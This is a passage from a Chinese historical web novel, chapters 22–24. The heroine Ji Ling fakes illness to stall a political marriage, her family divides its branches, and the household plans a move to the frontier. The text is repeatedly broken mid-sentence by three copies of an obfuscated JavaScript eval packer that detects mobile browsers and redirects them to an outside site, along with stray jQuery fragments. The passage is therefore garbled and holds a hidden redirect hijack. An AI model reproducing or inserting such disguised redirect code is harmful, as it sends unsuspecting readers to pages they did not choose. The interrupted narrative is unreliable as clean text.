姬父虽然跪着,但却挺着了腰板,淡定道:“皇上做这决定之前竟已不需要与我姬家商议了,既如此,这圣旨我姬家也可以不接受。”
眼看着皇帝又要发怒了,姬昤开口了。
“陛下息怒!”姬昤高喝一声,然后接着说道,“臣女之父只是爱女心切,不忍臣女嫁到如此远的地方,一时心急这才说了些胡话,望陛下不要怪罪。”
皇帝笑了笑:“还是安定懂事。”
姬昤接着又遮住了嘴巴,猛烈地咳嗽起来,咳得脸都红了,像是重病即将不久于世的样子,那样子瞧着就让人害怕。
弥弋河皱了皱眉,看向上方的皇帝,那眼神仿佛在说“他们不要一个病秧子做王子妃”。
皇帝忍住了不耐,询问道:“你这身子到底是怎么回事?”
“回皇上的话,实不相瞒,臣女确实得了重病,大夫说要想完全治好少说也得三五月,而且治好后也只能卧床修养,七七八八的时间加在一起小半年就没了,臣女就怕耽误了和羌胡联姻的大事,不如……换个人吧?”姬昤一脸虚弱,一只手还至于心口,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351632|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
副柔弱模样。
却听皇帝说道:“无碍,既然身子有碍也可先领了圣旨,若十月十九身子还未好全,大不了往后延延,想必羌胡不会在意的。”
姬昤眼神一凛,不过很快就恢复了正常神色,她道:“既如此,臣女领旨,吾皇万岁万岁万万岁。”说着便从太监手里接过了圣旨。
姬父姬母还想说什么,姬昤一个眼神过去,稍微摇了摇头,三人只得回到了位置坐下不再言语。
宴席结束,柯柔云成为“柔夫人”入主后宫、羌胡使团回到羌胡邸待翌日一早便出发回程、姬昤成为“安定郡主”择日待嫁、益州汶川军割让羌胡……
这桩桩件件一传入民间便引起了民愤,一时间建康城内流言四起,意思多为“大安危矣”……
皇宫城门口。
“安定郡主留步。”
姬昤一听声音就知道是郁林王,她让阿耶阿母先上了马车,然后转过身看了过去。
“王爷所为何事?”她问。
只见郁林王笑了笑,走得更近了些。他走到姬昤跟前,往前微微俯身,轻声道:“唉,安定郡主,你说你要是同意了我的提议,你我二人强强联合,早一步定下婚事,你何至于今日这般情形呢?可惜啊,你错过了。”
姬昤微笑,反问:“强强联合?谁啊?你吗?我怎么记得郁林郡十分偏远,人烟稀少、穷山恶水,连大安的军队都只是象征性地去那晃晃表示那里是大安疆土,你去就能成为强者了?可别被那儿的土著给活扒了呀。”
郁林王的脸色越发难看,姬昤接着又道:“唉,想想人家庐陵王,庐陵郡可是好地方,要人有人,要钱有钱,怎么人家命就那么好封地是个好地方,你就……啧啧啧,可惜啊,你没比上人家。”
“贱人!”郁林王忍无可忍,抬起手就要打下去,马车内的姬父姬母闻言害怕地掀开帘子想要阻止,却见姬昤一把抓住了郁林王的手腕让他动弹不得。
“你确定要打我?”姬昤神色淡定,眼里还有嘲讽似的笑意,“你若敢打我,我便立刻上奏陛下,就说我这病啊恐要因郁林王往后延长了,届时说不定要等到明年亦或者后年才能出降了。你猜猜,陛下会怎么罚你?”
郁林王咬紧了牙关,眼神燃烧着愤怒,但想想姬昤的话没错,他哼了一声,收回了自己的手。
“王爷若无其他事我就先回府了。”姬昤说罢转身就上了马车。
郁林王看着马车远去的背影满满都是愤怒,但一想到再过几月姬昤就要嫁到羌胡去了,便什么坏心情都没有了。
马车上。
“昤昤,你为何要阻止阿耶?我姬家虽然不复往日辉煌,但抗一次旨而已还是可以的,难道你真想嫁到羌胡去?虽说是王子妃,但谁知道那羌胡人会不会暗地里对你下手!阿耶如何能放心啊?”姬父一脸忧愁,整个人看着都好像老了些许。
“是啊,你是我们姬家的三娘子,怎能嫁到羌胡去?一个郡主之位算什么?哪怕是公主之位也不行!”姬母握着姬昤的手,都快哭出来了。
姬昤微微一笑:“阿耶阿母你们就放心吧,我有自己的计划,我才不会真嫁到羌胡去呢!”
“自己的计划?什么计划?可行吗?”姬父不禁问道。
“阿耶你就别问了,计划说出来可就不灵了。”姬昤撒着娇。
姬父无奈道:“又不是愿望还说出来不灵了,你……唉……你这孩子。”
回到姬府,姬昤立刻回了房中吩咐月栀研磨,她坐在书案前,待磨一研好立刻提笔蘸墨。
两刻钟后。
“月栀,这三封信分别送去给我大兄二兄和霍去病。”姬昤说道。
“喏,奴婢一定让人快马加鞭送去。”月栀应道。
“不必,就正常速度,只要避着人送即可,这样哪怕是被人发现了也发现不了什么,只是家书罢了。主要是霍去病那封,定要全程严防死守,不得让任何无关人员有靠近的机会。”姬昤吩咐道。
“喏。”月栀。
22.分家
翌日。
姬家议事厅。
姬家四房所有人都在了,还有平日里几乎不会露面的族老们也都在。
“我姬家女怎能嫁羌胡?什么王子妃,屁都不是!”一个族老气愤道,手里的拐杖敲了好几下地面敲得邦邦响。
“就是!皇帝老儿真是昏庸,竟敢将主意打到我姬家女身上来了?!”又一个族老说道,一把年纪脸都气红了。
族老们都非常气愤,倒不是替姬昤鸣不平,只是觉得姬家无上荣光竟会摊上这样的事,觉得皇帝打了姬家的脸他们脸上无光罢了。
姬昤心里很清楚这一点。
“可现在圣旨已下,哪怕昤昤说自己病了也只是一直往后拖罢了,最终还是要嫁过去,这郡主的名头可是已经按上了。你说呢,四兄?”姬五爷担心地说道,然后看向姬四爷。
姬四爷面色苍白,脸色看起来很差,听到叫他时还咳了几声。
“四兄你这病怎么回事啊?都快小半个月了还没好?不会是因为你……”姬五爷说着似是想到了什么,一脸嫌弃地看着他,“都说了让你节制节制,怎么就那么控制不住自己?四嫂嫂都不说你的吗?”
众族老看向姬四爷的眼神都不善了,眼里仿佛在说——
“姬家怎么有你这么个好色之徒”。
在场唯有两人知道其中真相,一个是姬昤,一个便是始作俑者——
姬二郎。
姬四爷又咳了几声,有气无力地说道:“胡说八道什么,不知道就别瞎说。我只是不小心伤了身子,过段时日就好了,别胡说。”
姬四爷接着又道:“至于昤昤的婚事……圣旨都已经下了,还要如何去改变?难不成抗旨?可别连累了整个姬家。”说罢瞥了眼姬父,就像是特意说给他听的一样。
姬父冷哼一声,眼神坚定:“大不了就抗旨了!我姬家何时怕皇家了?皇帝老儿可别忘了他的皇位是怎么来的!没有我姬家就没有他安家!如今却要我女儿去和亲,忍无可忍!”
姬昤连忙抓住了阿耶的胳膊:“阿耶你一定要冷静,别冲动!”
姬五爷也连忙说道:“三兄你,你不会真想抗旨吧?怎么说那也是圣旨,你若是抗旨,那皇帝老儿发起怒来可不会记得什么开国之功,可是会诛九族的!”
姬四爷也憋住了咳嗽,说道:“三兄,若你真要去抗旨的话……”他沉默了一会儿。
“那就先分家吧。而且你要把责任揽在你们三房身上,万不能连累了我们。”
姬四夫人瞪了眼姬四爷:“你……咳咳咳!你疯了是吧?咳咳咳!”
姬四夫人也是一脸病态,只是姬昤没想到几个月过去了她竟然还没好全,瞧着一幅弱不禁风的样子,像是随时会倒。
姬四爷也毫不示弱地瞪了回去,甚至眼里愤怒更甚:“闭嘴!这里哪有你说话的份?”
“呵,你要分家……咳咳咳!你自己分去吧,我可不管你!咳,咳咳咳!”姬四夫人生气道,说着还一边咳嗽着,像是要把肺都咳出来了。
两人身后站着的二郎君看着自己阿耶的背影出了神,他想,是时候加大药量了。若是让阿耶继续坚持分家,他们四房单过的话,那日子只会越来越苦,况且三叔他们说的没错,他们姬家为何要怕皇家?他受够了看皇帝眼色的日子了,对他一贬再贬,如今他官职只有七品了!而且,如今是姬昤被封郡主和亲羌胡,那以后呢?匈奴、鲜卑……难不成都要他们姬家女去和亲?如今姬家可只剩下他的十五妹妹年龄最合适了。
姬五爷眼里流光一闪,他道:“分家?四兄说的其实也没错,若真要如此的话还是先分家的好,不论如何姬家总要保下来一些人吧?三兄,不如咱们今日就分了家算了。”
反正他这房从商,赚的钱够他们用几辈子了,而且……他现在也有大腿抱,不用贴着三兄这房了。
姬五夫人闻言有些惊讶但也没说什么,看样子也是同意分家的。
族老们虽然也很震惊,但细想也觉得可以,竟也没说话。
姬父扫了眼在场众人的表情,然后看向姬大夫人:“大嫂,你怎么想的?大房也要分房吗?”
姬大夫人缓缓道:“如今大房是我儿姬呈做主,问他吧。
姬父看向姬呈。
姬呈只是思索了片刻,便道:“大房不分。”
“好!分家!今日便分!”姬父喝道,眼里带着决绝。
他也终算是看清了他这些兄弟的嘴脸了,有好事都要分一下,坏事就全散开了,也就大兄他那房还有点兄弟情。不过真要说起来他也能理解,姬家确实不能所有鸡蛋都烂在一个篮子里。
姬二郎君立马喊出了声:“等等!四房不分!”
所有人目光看向他。
姬二郎君一时间紧张起来,不禁拉住了自己的衣摆,半天说不出话来。
姬四爷回头瞪了眼他,不悦道:“闭嘴!四房还没轮到你做主!我说分,就是分!”
姬二郎君张了张嘴却什么也说不出来,他敛眸,低下了头,手也松开了衣摆,直愣愣地站在后面。
事已成定局。
建康姬家分了家,大房和三房还在一起为主家一脉,四房五房分了出去成了旁支,这一消息不过两刻钟时间便传遍了整个建康城,就连宫里也知晓了此事。
皇宫。
太极殿东堂。
“你说这姬家突然分家是为的什么?因为朕的旨意么?姬家这是何意?要抗旨不遵么?”皇帝慵懒地坐在椅子上,一只手一个接一个地拿着跟前桌上的果子往下甩去,下方站着几个人张着嘴接着,他们跑来跑去的挤在一起摔了跤还惹得皇帝发笑。
一旁的贴身太监连忙说道:“陛下,姬家怎么会是因为您分家呢?奴早有耳闻姬家内部不睦许久,想必是恰好这个点分了家,跟陛下您能有什么干系?”
“是么?姬家人早就有了嫌隙?”皇帝看着很是疑惑,好像什么也不知道的样子。
太监回答:“是啊,陛下,听闻姬家也就大房和三房没有交恶,四房五房可都和三房又不和。比如四房,那个姬四爷满脑子女色,还总盯着三房侄女院中的人,那姬三娘子……不,安定郡主可不生气嘛!又比如五房,五房的十二娘子嫁到了谢家,可谢家……陛下您也知道,谢家早年出了个文采斐然的败类谢渊,这安定郡主却将谢渊接到了姬府住下,说是要向他学习,这不,三房五房的矛盾又起了。”
“谢渊?那可是梁朝末年最后一届状元郎了,确实文采斐然,可惜了,出了那样的事,还被家族抛弃了,没想到姬昤还愿意去找他‘学习’,她是不知道当年的事吗?”皇帝又好奇地问道。
“这……”太监不好意思地笑了笑,“这奴就不清楚了。”
“安定郡主病情如何了?可有好些了?”皇帝又问。
“奴打听了,还是那样,一点儿没好,似乎还重了些。”太监回答。
皇帝轻笑了声,说道:“谁知道是真病还是假病。不过……不愿嫁那就一直病着吧,反正那羌胡嫁不嫁都行,朕还不乐意嫁个贵女过去呢,好像大安得哄着羌胡似的,什么都答应。”
太监连忙附和道:“是啊陛下,那羌胡人真是好大的胆子,什么要求都敢跟陛下提,正好,安定郡主背后的姬家也不是什么小门小户,就让他们自己斗去吧。”
皇帝瞥了眼太监,太监笑容一滞,只见皇帝笑着伸出手指对他点了点,太监这才也笑了出来。
这时,一个太监低头小跑进来,说道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356075|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“皇上,姬家家主求见。”
皇帝和贴身太监对视了眼,笑了。
“你看,这不就来了,定是因为分家的事。”皇帝笑道。
太监不语,只是笑着点头。
“让他进来吧。”皇帝严肃了神色,但坐姿还是那么随意慵懒,衣领处还敞开着露着里面微微泛红的肌肤。
“喏。”小太监应声又退了出去,不多久姬父进来了。
“臣姬错拜见陛下。”姬父行礼道。
“免礼,赐座。”皇帝抬了下手。
“谢陛下。”姬父起身走到一旁椅子前坐下。
“爱卿所来何事啊?”皇帝把玩着手中的果子,一下抠抠果叶一下抠抠果皮。
姬父沉默了片刻,然后开口道:“陛下,臣愿带姬家退往边疆,只请陛下将我儿婚事拖到明年。”
他其实想说取消他女儿的婚事,但这样皇帝定不会同意,况且昤昤说了只要往后延她便有办法,既如此他便遂了昤昤的意思吧。
皇帝抬眸看向姬错,眼里有丝好奇:“只是这样?”
“是,臣之所愿只是这样。”姬父回答。
“唉,那朕也很为难啊,羌胡现在实力不容小觑,前些时日一战你家大兄战死,我大安将士死伤无数,后吾儿断腿,这才打赢了。姬错,你能明白朕的意思吗?”皇帝一副为难的样子。
姬父咬紧了牙关,然后起身,微微俯身,垂下头,说道:“臣愿交出姬家三成家产,望陛下成全。”
皇帝双眼一亮,随即立刻敛去眸中的喜色,一副勉为其难地样子:“唉,爱卿你这是何必呢?姬昤这孩子也算是朕看着长大的,自然也不愿她就这么嫁去羌胡了,那是个什么地方?姬昤嫁过去定会吃苦的,朕也不愿,只是为了大安的和平无奈之举罢了。唉,好吧,就如你所愿,朕会想办法把她的婚事往后一直挪的。”
“多谢陛下。”姬父敛去眸中的嘲讽,语气平和。
“对了,你说姬家要退往边疆,是哪地啊?”皇帝又问。
姬父略作思考,回答:“臣想过雍州和凉州,毕竟臣的两个儿子在那边,自然更是想和家人团聚,但最终自然还是由陛下定夺。”
皇帝有些惊讶:“这么远?那边边上便是匈奴、鲜卑和羌胡,三面环敌,你当真想好了?那可不是什么好地方。”
姬父抬头看向皇帝,那眼神好像在说“你也知道啊”。
皇帝一下子便想起来是他将姬错两个儿子派到了他口中“不是什么好地方”的地方做了县令,他一时间还有些心虚地摸了摸鼻子。
“那便冯翊郡吧,与你那大儿子在一个郡,至于要不要在粟邑县离你大儿更近些还是其他县都随你了。”皇帝说道。
“喏,多谢陛下。”姬父。
“何时启程?”皇帝又问。
“如今天热,姬家家当又多,舟车劳顿的也不舒服,待十月天凉再动身。”姬父回答。
“哦,那便还有不到两月时间,行,朕知道了。”皇帝。
“臣无他事,先行告退。”姬父行礼。
“嗯,退下吧。”皇帝应声。
待姬父离开,皇帝这才开口道:“你说这姬错真忍心把姬家三成家当都送给朕么?为了一个女儿做到这种地步。”
太监想了想,回答:“早听闻姬家主宠爱女儿,如今想来比传言还要宠,竟愿意拿出三成姬家家当换安定郡主婚事后挪,实在是爱女心切。”
“还愿意退到冯翊郡去,那里可远远不及建康,苦得很。啧,行,要去便去吧,可不是朕要他们去的,以后再想回来可不如现在这般容易了。”皇帝丢掉手中的果子,眼睛眯了眯,嘴角微勾。
姬家,他的心头大患,终于离开建康了。
23.三娘子再会
姬父一回到府中便将所有内容告诉了姬昤,姬昤有些惊讶皇帝竟然这么轻易就允许了,而且还能容许他们退到长安郡大兄治下,实在是有些匪夷所思。
姬昤把这一切归功于皇帝是“昏君”,不是的话系统的意思怎么会是还有一年多安朝就要灭亡开启乱世了呢?
“阿耶,先去信一封给大兄二兄知晓,然后一点一点转移姬家财务,人员最后再走。”书房内,姬昤思索着一边说道。
但是她养的那五百死士得先转移过去,而且得分很多批次,否则太容易引起注意了。这是个大工程,恐怕得转移好几个月才能完成。
“阿耶也没想到陛下竟然这么容易就允许了,昤昤,你比阿耶想象的还要厉害,连这个结果都想到了。阿耶本以为至少要付出一半姬家财力,没想到只是三成都够让陛下心痒了,呵,陛下啊陛下,算我当初看走眼了吧。”姬父说着还轻笑了几声,似是在嘲笑自己当年的眼拙。
“昤昤,但若是去了粟邑县你大兄那,姬家又如何自处呢?姬家如今三千死士,但也难敌匈奴万人大军啊!更何况那边守军力量薄弱松散,这些你两位兄长都给我写信告知我了,我们去了会很危险的。”姬父又道,满脸担心。
“阿耶你莫担心,船到桥头自然直,况且我心里有计划,定不会让姬家受难的。”姬昤拍了拍胸脯。
姬父看着姬昤自信的面容沉默了会儿,然后道:“阿耶老了,你长大了,都听你的吧。不过……去粟邑县这一事得知会大房的人一声,看他们到底是还要跟我们走还是分家留在建康。”
大房院子。
“大嫂,事情就是如此,如何决断全在你们,毕竟是去边疆,那里日子苦,我倒也不好叫你们跟着一起去受苦。”姬父说完喝了好几口茶水解渴。
姬大夫人面色不变,神色依旧淡淡的:“我都行,去哪儿都可以,左右都没有振郎。”
姬父张了张嘴想要安慰一下却还是算了,大嫂如今这副模样已经有段时日了,自从大兄死后便一直郁郁寡欢提不起劲,整个人都看着苍老了许多,也不知大兄泉下有知该如何心疼。
“阿母,您也该振作起来了,阿耶若是知道您一直这样怕是也不得安宁。”姬呈坐在姬大夫人身边,出言安慰道。
姬大夫人眸色一动,她反手抓住了姬呈的手腕,神色有些疯狂:“呈儿,你阿耶还在我身边吗?他是不是还看着我?呈儿,你告诉我,你阿耶一直没有离开对不对?”
姬呈眸中含着泪光,他无奈道:“阿母,您回房好好休息吧,您已经多日睡不好吃不好了,再这样下去阿耶会伤心的。”
姬大夫人松开了姬呈的手腕站起了身,一边向外走去一边喃喃着:“对,振郎知道要伤心的,要伤心的……”
姬呈见她出了屋子才又看向姬父。
“三叔,去雍州便去吧,现如今大房我做主,我同意了。但……能否慢些?我十三妹妹十月初四及笄,及笄后便要嫁人,待她出嫁归宁之后我们再走可行?或者你们先走,我们大房后再跟上。”他道。
“无碍,慢些便慢些,反正都要慢慢转移,也得花上好几个月的时间,我想等到我们全部到粟邑县的时候怕是要到过年前后了。”姬父说道。
“也好。去粟邑县也好,和瑾弟也有个照应。”姬呈。
“你的官……不当了?”姬父又问。
姬呈摇了摇头:“不当了,反正有陛下在,我这官也是当不下去了。三叔,待到走之前我再辞官,俸禄能多拿一时便多一点。”说罢嘿嘿一笑,快三十的人此时也像个孩童般稚气。
姬父笑了:“好,好,是该如此。”
毕竟皇帝老儿也吞了他们姬家不少财物,也该还回来点。
英兰苑。
“此去别院务必要小心谨慎莫让旁人跟了去,跟他们说好,每日出城三五人,多了怕引人注意,他们的出城文书我会让人准备好的,不必担忧。”姬昤看着眼前的冼英和杨妙真二人,叮嘱道。
“喏。”二人应道。
“届时等那五百人都走完了你们二人便让妇好、秦良玉和卫青他们三人回来同我们一起出发。”姬昤又道。
二人点头。
“那谢先生呢?他会跟我们一起去粟邑县吗?”冼英问。
姬昤思索了片刻:“我去找他问一下吧。”
是他们姬家要举家搬迁,谢渊作为一个外人自然没必要跟着他们一起去吃苦,虽然她很舍不得这大儒,但也需要询问他的意见。
谢渊没有在屋内教导霍光,而是带着他在院子里晃悠,一下在池塘边停下指着池水说着什么,一下在假山前驻足说着什么,又一会儿停在了屋前的水缸出。
姬昤来的时候正听到谢渊说——
“如此,可都明白了?”
“多谢先生教诲,弟子明白了。”是霍光的声音,稚嫩青涩。
随谢渊而来的小厮如今在院内做起了洒扫的活计,也是他第一个瞧见了姬昤。
小厮停下动作,行礼道:“见过三娘子。”
谢渊和霍光二人也停了下来看向姬昤。
“见过三娘子。”霍光也道,姿态恭敬。
“三娘子来所为何事啊?我可是好好教导这个孩子的,并无松懈,也不曾偷懒。”谢渊只是轻点了下头,然后打趣似的说道。
姬昤微微一笑,走了过去:“我对先生自然是放心的,只是前来询问先生的意见。”
“哦?”谢渊。
“先生,我们姬家就要搬去雍州冯翊郡的粟邑县我大兄做县令的地方了,您是要留在建康还是……”愿意跟我们一起走。
姬昤没有问出来。
霍光也看向谢渊,眼里隐隐有些期待。
小厮亦是如此,只是他是有些害怕,先生不会真要一起去那边吧?唉,他不是很想过苦日子。
谢渊抬头望天,眼里有一丝追忆,一会儿之后,他才道:“好,何时动身?”他又看向姬昤。
姬昤有一丝惊讶,随即露出了灿烂的笑容,她道:“先生近来只要安心住着便是,届时我一定亲自前来请先生一起走,定不会忘了先生的。”
“好说好说,忘了我就把你姬家财物卷走让你们吃不起饭,然后我便可游历天下了。”谢渊一本正经地开着玩笑。
“好好好,若是把先生忘了,先生大可把我整个姬家都搬走,我绝无二话!”姬昤笑道。
“你说的奥,可不能反悔。”谢渊。
“自然不会反悔,先生放心。”姬昤。
“嗯,不错。你走吧,我还要给他上课。”谢渊得到姬昤这话就开始赶人了。
姬昤愣了一下,然后笑着就要走,刚要转身,她的目光触及霍光的眼神,她想了想,然后道:“你好好学,我很看好你。”
霍光笑着用力点头:“定不让三娘子失望!”
姬昤还未回到自己的院子就听见府里的小厮远远喊着她,她转身一看,那小厮快步跑了过来,等到了她跟前又赶紧刹住脚步,接着喘了几口气。
“三娘子,府外来了许多流民乞儿,都说想见您,小的们也不知他们所为何事,只说您不在府上,您……您要去见吗?”小厮询问道。
“找我?找我作甚?”姬昤疑惑,但一边往大门的方向走去。
小厮连忙跟上:“三娘子,小的说您不在,您待会儿可别说漏嘴了呀。”
“知道了。”姬昤应了声。
姬府大门外,密密麻麻站满了人,无一不衣衫褴褛、面目脏乱,一个个翘首以盼,直到大门打开姬昤出现。
“方才出门才归,听说你们找我,是有什么事吗?”姬昤淡定问道。
为首的一个乞儿是个年岁约摸三十岁的男人,他看了看身后的众人,走上前一步,说道:“三娘子,可走下来些?有些话我们想问问您。”
男人的语气十分和善,虽然一身脏乱,但那一双明亮澄澈的眸子却让人心生好感。
跟着的小厮立马上前拦住了要走下台阶的姬昤,他小声说道:“三娘子,您小心些,别靠太近
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366063|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
“我心里有数,放心。”姬昤轻声回答着,然后让小厮让开她走了下去。
姬昤走到男人跟前,男人四处张望了一番,然后抬起一只手挡在嘴边,低声问道:“三娘子,您和姬家是不是要去雍州了?”
姬昤掩下内心的惊讶,淡定问道:“你是如何得知的?”
男人嘿嘿一笑,露出一口不符合外貌的大白牙:“三娘子这个就不知道了吧,我宫里头有人,他告诉我的。”
姬昤更惊讶了,这人说什么?他宫里有人?他不是乞丐吗?还能认识宫里的人?
男人被盯得有点羞涩,不好意思地说道:“是我同胞兄弟,我留家照顾父母,他进宫做了太监养家,不成想家没了,我这个哥哥也成了乞丐,他也困难,我就没跟他说我成这样了。”
姬昤张了张嘴,千言万语最后化作一下轻轻地拍肩。
“都过去了,三娘子,您就说您是不是要去雍州吧。”男人又遮住了嘴侧面,小声问着。
“嗯,怎么了?”姬昤问。
男人神秘一笑,又问:“可是冯翊郡粟邑县?”
姬昤多看了眼男人,他消息还挺灵通,看来他那弟弟在宫里的地位不算低,这个消息都能知道。
姬昤点头。
男人脸上笑容更甚,接着退回到人群中,他双手抱拳,说了句——
“再会。”
接着众人就离开了。
通传的小厮满心疑惑,他是一点儿没看明白到底怎么回事。
其实姬昤也没明白,但她还是煞有其事地点了点头。
小厮看了眼姬昤,心想,三娘子果然是三娘子,这都明白,怪不得人家是世家娘子,他就是一下人。
深夜,人们都渐渐熟睡进入了梦乡。
大房院子。
姬大夫人卧房。
“阿母,儿子选择的不分家,选择了和三叔他们离开建康,儿子是否错了?”姬呈坐在母亲对面,神色间有些疑惑和迷茫。
姬大夫人缓慢转动着手中的佛串,缓缓道:“要真随你那四叔五叔一样分家,我们日后怕是不会有什么好日子过。眼前的苦只是暂时的,呈儿你要往前看,忍过去就好了,况且……你昤妹妹不是简单的,她怕是有大想法。你自小脾性温和不争不抢,阿母却不曾想在这种时候你能做出最好的选择,阿母很高兴。”
姬呈有些错愕,他竟然被阿母夸了?自小到大阿母都甚少夸他,总说让他戒骄戒躁,万物都莫要与旁人争抢,不是他的抢来了也不属于他。如今阿母竟然夸他了?
“阿母,绥英妹妹怎么不简单了?”姬呈有些好奇。
姬大夫人淡淡一笑:“你阿母我好歹也算是半只脚踏入黄土的人了,这还看不出来?你可曾见过姬昤身边跟着的那几名年轻娘子?”
姬呈回想了一下:“似有印象。”
“除了那个被你四叔言语调戏的那位,其余几人都是练家子,想必还是高手。”姬大夫人说道。
姬呈惊讶:“绥英妹妹身边怎会有这些朋友?都是从哪儿寻来的?”
都是女子,且都是练家子,十分难得。
姬大夫人笑而不语,一会儿之后才道:“你虽年长你昤妹妹十三岁,但……日后多听听她的吧,阿母护不了你们兄弟姐妹几年了,日后怕是要多仰仗她了。”
姬呈连忙抓住母亲的双手,皱着眉:“阿母不可胡说,您至少还得陪我们三十年呢!”
姬大夫人拿开了姬呈的手,苦笑道:“你阿耶去了,我也无甚活下去的念想了,至多再陪你们几年,见你们全部有了自己的好日子便要去陪你们阿耶了。”
“阿母……”姬呈的双眼瞬间湿润。
“日后定是要你和姝儿照顾好你十七妹了,大房一脉可就你一个儿子了。你十妹已经出嫁,十三妹过不了几月也要出嫁。呈儿,大房都靠你了。”姬大夫人看着姬呈的目光是那么慈祥,好像还有许多说不出口的叮嘱。
姬呈努力扯出一个笑容,点了点头。
24.意欲回府
庐陵王和郁林王都离开了建康去往自己的封地,不过姬昤实在没想到郁林王此人这么小心眼,走之前还让下人给她捎了封信,内容大概就是很期待看见她成为羌胡王子妃的那一刻,郁林王此人走了还不忘嘲讽她一下。
姬昤表示很无语。
不过看见信姬昤就想到了自己写给两位兄长和霍去病的信,算算时间也该收到了。
安定郡临泾县。
某处农田。
姬瑜扫了眼农田,又看了看天,偶尔风吹过带来的风沙还迷了他的眼。
姬瑜眯了眯眼,抬起右手挡在眼前。
还好小妹他们没有选择临泾县,临泾县今年收成一般,百姓们都勉强果腹,他们来怕是更要苦,自然比不上在建康时。
再看姬瑜,本来是个肤白貌俊的翩翩少年郎,如今也被西北的风沙催老了几岁,皮肤也粗糙了许多,但整个人瞧着却更坚毅、挺拔。
“大人,已有一月余没下过雨了,这该如何是好好啊?”姬瑜身边的下属担忧道。
“幸好大人让大家都提前储了水,否则这日子该怎么过啊?”姬瑜身边另一个下属说道。
“别啰嗦了,去帮忙割粟米,这批粮食收完得赶紧种麦子了。”姬瑜两手一推把身边两人推得往前了些,自己也撸起袖子、挽起裤腿走到了田里。
冯翊郡粟邑县。
“一转眼已经秋收了,日子过得真快,大人,今年的收成感觉不太好啊。”姬瑾身边,他的下属感慨道。
“比起去岁已经好了些了,总要一点点来,不能急于求成。”姬瑾说道。
“大人说的是,只是……”下属欲言又止。
姬瑾看向他:“只是什么?”
下属叹了口气:“大人,以往这个时候匈奴人就会过来劫掠,百姓困苦不堪啊。”
姬瑾看着田地间劳作的那群人,笑了笑:“他们这不是来了吗?”
下属看向那些人,有些怀疑:“大人,左右不过两百余人,就算多这三百人也抵挡不住吧?”
“能多一些总是好的,不必计较多少,更何况后面还有呢,只是来得慢了些。”姬瑾说道。
他说的正是姬昤养的五百死士,如今已经到了粟邑县两百余人,还剩一半基本上都在路上了。他们虽然离开建康分的批次多,但一离开建康一个个跟要飞起来似的速度极快。
“也快了,等家中的十七妹妹及笄出嫁后他们就要动身来了。”姬瑾又道。
“大人,听闻像姬家这样的家族可豢养死士三千人,是真的吗?”下属好奇地问道。
若是那三千死士也一起来了这里,岂不是大大降低了这边被匈奴劫掠的可能?这里的百姓说不定还能过个好年呢!
姬瑾看着下属期待的双眼,点了点头,接着又道:“不过也没有那么多,姬家从前在天子脚下,自然不能养那么多死士,会引猜忌。”
“那也很多了!匈奴人无论也得忌惮忌惮咱们这儿了,劫掠前也要想想打不打得过!”下属很高兴。
“别高兴太早了,等他们来到这也差不多十一月了,匈奴人要抢早抢完了。”姬瑾说道。
下属一下子收了笑容:“……”
突然,属下眼睛一亮,他道:“大人,咱们不是还有霍去病吗?霍将军前些日子又立了功,陛下不是封了他做五品绥边将军吗?人家可厉害着呢!”
姬瑾轻叹口气:“光有他一人又能如何力挽狂澜呢?他也只是一个人罢了。”
刘哥家中。
霍去病忽然打了个喷嚏,他吸了吸鼻子,喃喃道:“谁在念叨我?难道是主……三娘子想我了?也是,到现在都没和三娘子见过呢,好在他们要来了。”
刘哥一边吃着菜一边听着霍去病嘀嘀咕咕不知道在说什么,他不禁问:“怎么了?你春花嫂手艺退步了?”
一旁坐着的春花白了眼刘哥,刘哥嘿嘿一笑。
“没,春花嫂子这手艺一如既往的好。”霍去病说道。
“好孩子多吃点,别理他。”春花嫂子给霍去病夹了好几筷子菜,说着还白了眼刘哥。
刘哥笑嘻嘻的,一点儿也不放在心上。
“谢谢嫂子!”霍去病笑道。
建康。
姬家提出分家后,等到两位王爷要赶去封地之时,五房也跟着走了,去的庐陵郡,不仅如此,谢家也跟着一起搬去了庐陵郡,意图太过明显。
四房却迟迟不动,一直在建康待着,他们找了处院子租着。
就在秋收时分,四房那突然传来消息——
姬四爷暴毙而亡,被发现时还在一个妾室的床上。
姬四爷死得不光彩,四夫人也是满心嫌弃,草草就给人下葬了,就连葬礼都没办。
姬府。
“我们本就不想分家,若不是四爷他坚持,我们怎会出去单住?如今他也死了,我们……可还能回来?”姬四夫人坐着,双眼望着姬错,她的脸上虽然着了厚重的粉,嘴上也抹了口脂,整个人却看起来很疲惫。
